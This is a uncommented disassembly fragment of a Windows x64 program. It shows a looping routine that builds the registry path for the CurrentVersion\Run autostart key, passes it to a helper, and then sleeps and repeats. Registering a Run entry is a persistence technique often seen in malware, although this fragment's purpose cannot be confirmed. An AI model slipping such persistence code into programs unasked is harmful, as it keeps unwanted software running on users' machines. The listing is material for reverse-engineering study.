movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], 3
mov qword [rbp - 0x78], 0xf
movzx eax, word [0x140023914]
mov word [rsp + 0x70], ax
movzx eax, byte [0x140023916]
mov byte [rsp + 0x72], al
mov byte [rsp + 0x73], 0
movups xmmword [rbp + 0xb0], xmm0
mov qword [rbp + 0xc0], rbx
mov qword [rbp + 0xc8], 0xf
mov byte [rbp + 0xb0], 0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
movups xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], rbx
mov qword [rbp + 0xe8], 0xf
mov ecx, 0x30
call fcn.14001f080
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xe0], 0x2d
mov qword [rbp + 0xe8], 0x2f
movups xmm0, xmmword [str.SOFTWAREMicrosoftWindowsCurrentVersionRun]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400250e0]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x1400250f0]
movsd qword [rax + 0x20], xmm0
mov ecx, dword [0x1400250f8]
mov dword [rax + 0x28], ecx
movzx ecx, byte [0x1400250fc]
mov byte [rax + 0x2c], cl
mov byte [rax + 0x2d], 0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xb0]
lea r8, [rsp + 0x50]
lea rdx, [rbp + 0xd0]
call fcn.1400042b0
nop
mov rcx, qword [rbp + 0x110]
test rcx, rcx
je 0x14001d479
mov rdx, qword [rbp + 0x118]
call fcn.14000e520
mov rdx, qword [rbp + 0x120]
mov rcx, qword [rbp + 0x110]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d462
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d6c1
call fcn.14001f0bc
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x110], xmm0
mov qword [rbp + 0x120], rbx
mov rdx, qword [rbp + 0x170]
cmp rdx, 0x10
jb 0x14001d4ba
inc rdx
mov rcx, qword [rbp + 0x158]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d4b5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d6c8
call fcn.14001f0bc
mov qword [rbp + 0x168], rbx
mov qword [rbp + 0x170], 0xf
mov byte [rbp + 0x158], 0
mov rdx, qword [rbp + 0x1b0]
cmp rdx, 0x10
jb 0x14001d515
inc rdx
mov rcx, qword [rbp + 0x198]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d50f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d6cf
call fcn.14001f0bc
nop
mov rdx, qword [rbp + 0x1f0]
cmp rdx, 0x10
jb 0x14001d557
inc rdx
mov rcx, qword [rbp + 0x1d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d551
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d6d6
call fcn.14001f0bc
nop
cmp byte [rsp + 0x40], 0
je 0x14001d591
lea rdx, [r13 + 1]
mov rax, r12
cmp rdx, 0x1000
jb 0x14001d588
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d6dd
mov rcx, r12
call fcn.14001f0bc
nop
mov rdx, qword [rbp + 0x108]
cmp rdx, 0x10
jb 0x14001d5d2
inc rdx
mov rcx, qword [rbp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d5cd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d6e4
call fcn.14001f0bc
mov qword [rbp + 0x100], rbx
mov qword [rbp + 0x108], 0xf
mov byte [rbp + 0xf0], 0
mov rdx, qword [rbp + 0x210]
cmp rdx, 0x10
jb 0x14001d62c
inc rdx
mov rcx, qword [rbp + 0x1f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d627
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d6eb
call fcn.14001f0bc
mov r14, 0xffffffffffffffff
lea r13d, [r14 + 0x17]
movabs r12, 0x7fffffffffffffff
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14001c0c0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rcx, qword [rbp + 0x278]
xor rcx, rsp
call fcn.14001f060
lea r11, [rsp + 0x380]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001940
nop
call fcn.1400018a0
nop
call fcn.1400018a0
int3
call fcn.140001940
nop
call fcn.140001940
int3
call fcn.140001940
int3